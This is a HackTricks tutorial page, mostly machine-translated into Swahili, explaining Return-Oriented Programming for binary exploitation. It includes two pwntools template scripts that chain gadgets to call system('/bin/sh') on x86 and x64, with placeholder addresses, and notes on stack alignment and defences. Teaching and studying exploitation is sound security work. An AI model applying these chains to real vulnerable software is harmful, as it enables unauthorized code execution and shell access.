ROP - Return Oriented Programing

Reading time: 9 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Return-Oriented Programming (ROP) ni mbinu ya juu ya unyakuzi inayotumika kukwepa hatua za usalama kama No-Execute (NX) au Data Execution Prevention (DEP). Badala ya kuingiza na kutekeleza shellcode, mshambuliaji anatumia vipande vya msimbo vilivyopo tayari katika binary au katika maktaba zilizopakiwa, vinavyojulikana kama "gadgets". Kila gadget kwa kawaida huishia na amri ya ret na inatekeleza operesheni ndogo, kama vile kuhamasisha data kati ya register au kufanya operesheni za hesabu. Kwa kuunganisha gadgets hizi pamoja, mshambuliaji anaweza kujenga payload ili kufanya operesheni zisizo na mipaka, kwa ufanisi akikwepa ulinzi wa NX/DEP.

How ROP Works

  1. Control Flow Hijacking: Kwanza, mshambuliaji anahitaji kukamata mtiririko wa udhibiti wa programu, kwa kawaida kwa kutumia udhaifu wa buffer overflow ili kuandika anwani ya kurudi iliyohifadhiwa kwenye stack.
  2. Gadget Chaining: Mshambuliaji kisha anachagua kwa makini na kuunganisha gadgets ili kufanya vitendo vinavyotakiwa. Hii inaweza kujumuisha kuandaa hoja za wito wa kazi, kuita kazi hiyo (kwa mfano, system("/bin/sh")), na kushughulikia usafishaji wowote unaohitajika au operesheni za ziada.
  3. Payload Execution: Wakati kazi iliyo hatarini inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.

Tools

Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia ROPgadget, ropper au moja kwa moja kutoka pwntools (ROP).

ROP Chain in x86 Example

x86 (32-bit) Calling conventions

  • cdecl: Mtu anayeita anasafisha stack. Hoja za kazi zinawekwa kwenye stack kwa mpangilio wa kinyume (kulia-kushoto). Hoja zinawekwa kwenye stack kutoka kulia kwenda kushoto.
  • stdcall: Inafanana na cdecl, lakini mtu anayeitwa ndiye anayehusika na kusafisha stack.

Finding Gadgets

Kwanza, hebu tuweke dhana kwamba tumetambua gadgets zinazohitajika ndani ya binary au maktaba zake zilizopakiwa. Gadgets tunazovutiwa nazo ni:

  • pop eax; ret: Gadget hii inachukua thamani ya juu ya stack na kuhamasisha kwenye register ya EAX na kisha inarudi, ikitupa udhibiti wa EAX.
  • pop ebx; ret: Inafanana na ile ya juu, lakini kwa register ya EBX, ikiruhusu udhibiti wa EBX.
  • mov [ebx], eax; ret: Inahamisha thamani katika EAX kwenda kwenye eneo la kumbukumbu linaloonyeshwa na EBX na kisha inarudi. Hii mara nyingi inaitwa write-what-where gadget.
  • Zaidi ya hayo, tuna anwani ya kazi ya system() inapatikana.

ROP Chain

Kwa kutumia pwntools, tunaandaa stack kwa ajili ya utekelezaji wa mnyororo wa ROP kama ifuatavyo tukilenga kutekeleza system('/bin/sh'), angalia jinsi mnyororo unavyoanza na:

  1. Amri ya ret kwa ajili ya kusawazisha (hiari)
  2. Anwani ya kazi ya system (tukidhani ASLR imezimwa na libc inajulikana, maelezo zaidi katika Ret2lib)
  3. Mahali pa kurudi kutoka system()
  4. Anwani ya string "/bin/sh" (hoja kwa kazi ya system)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Uses the System V AMD64 ABI calling convention on Unix-like systems, where the first six integer or pointer arguments are passed in the registers RDI, RSI, RDX, RCX, R8, and R9. Additional arguments are passed on the stack. The return value is placed in RAX.
  • Windows x64 calling convention uses RCX, RDX, R8, and R9 for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in RAX.
  • Registers: 64-bit registers include RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, and R8 to R15.

Finding Gadgets

Kwa madhumuni yetu, hebu tuzingatie gadgets ambazo zitaturuhusu kuweka register ya RDI (kutoa string ya "/bin/sh" kama hoja kwa system()) na kisha kuita kazi ya system(). Tutadhani tumetambua gadgets zifuatazo:

  • pop rdi; ret: Inachukua thamani ya juu ya stack na kuiweka kwenye RDI na kisha inarudi. Muhimu kwa kuweka hoja yetu kwa system().
  • ret: Kurudi rahisi, muhimu kwa usawa wa stack katika hali fulani.

Na tunajua anwani ya kazi ya system().

ROP Chain

Below is an example using pwntools to set up and execute a ROP chain aiming to execute system('/bin/sh') on x64:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Katika mfano huu:

  • Tunatumia gadget ya pop rdi; ret kuweka RDI kwenye anwani ya "/bin/sh".
  • Tunaruka moja kwa moja kwenye system() baada ya kuweka RDI, na anwani ya system() katika mnyororo.
  • ret_gadget inatumika kwa ajili ya usawa ikiwa mazingira ya lengo yanahitaji hivyo, ambayo ni ya kawaida zaidi katika x64 ili kuhakikisha usawa sahihi wa stack kabla ya kuita kazi.

Usawa wa Stack

The x86-64 ABI inahakikisha kwamba stack inakuwa na usawa wa byte 16 wakati amri ya call inatekelezwa. LIBC, ili kuboresha utendaji, inatumia amri za SSE (kama movaps) ambazo zinahitaji usawa huu. Ikiwa stack haijawa na usawa sahihi (kumanisha RSP si mara kadhaa ya 16), kuita kazi kama system kutashindwa katika ROP chain. Ili kurekebisha hili, ongeza tu ret gadget kabla ya kuita system katika mnyororo wako wa ROP.

Tofauti kuu kati ya x86 na x64

tip

Kwa sababu x64 inatumia register kwa ajili ya hoja chache za kwanza, mara nyingi inahitaji gadgets chache zaidi kuliko x86 kwa ajili ya kuita kazi rahisi, lakini kupata na kuunganisha gadgets sahihi kunaweza kuwa ngumu zaidi kutokana na kuongezeka kwa idadi ya register na nafasi kubwa ya anwani. Kuongezeka kwa idadi ya register na nafasi kubwa ya anwani katika usanifu wa x64 kunatoa fursa na changamoto kwa maendeleo ya exploit, hasa katika muktadha wa Return-Oriented Programming (ROP).

Mfano wa ROP chain katika ARM64

Misingi ya ARM64 & Mikataba ya Kuita

Angalia ukurasa ufuatao kwa habari hii:

{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Ulinzi Dhidi ya ROP

  • ASLR & PIE: Ulinzi huu unafanya kuwa ngumu kutumia ROP kwani anwani za gadgets hubadilika kati ya utekelezaji.
  • Stack Canaries: Katika BOF, inahitajika kupita hifadhi ya stack canary ili kuandika tena viashiria vya kurudi ili kutumia mnyororo wa ROP.
  • Ukosefu wa Gadgets: Ikiwa hakuna gadgets za kutosha, haitakuwa rahisi kuunda mnyororo wa ROP.

Mbinu za msingi za ROP

Kumbuka kwamba ROP ni mbinu tu ya kutekeleza msimbo usio na mipaka. Kulingana na ROP, mbinu nyingi za Ret2XXX zilikuwa zimeendelezwa:

  • Ret2lib: Tumia ROP kuita kazi zisizo na mipaka kutoka kwa maktaba iliyopakiwa na vigezo vya kiholela (kawaida kitu kama system('/bin/sh').

{{#ref}} ret2lib/ {{#endref}}

  • Ret2Syscall: Tumia ROP kuandaa wito kwa syscall, e.g. execve, na kufanya itekeleze amri zisizo na mipaka.

{{#ref}} rop-syscall-execv/ {{#endref}}

  • EBP2Ret & EBP Chaining: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia inahitajika kudhibiti EIP).

{{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}}

Mifano Mingine & Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks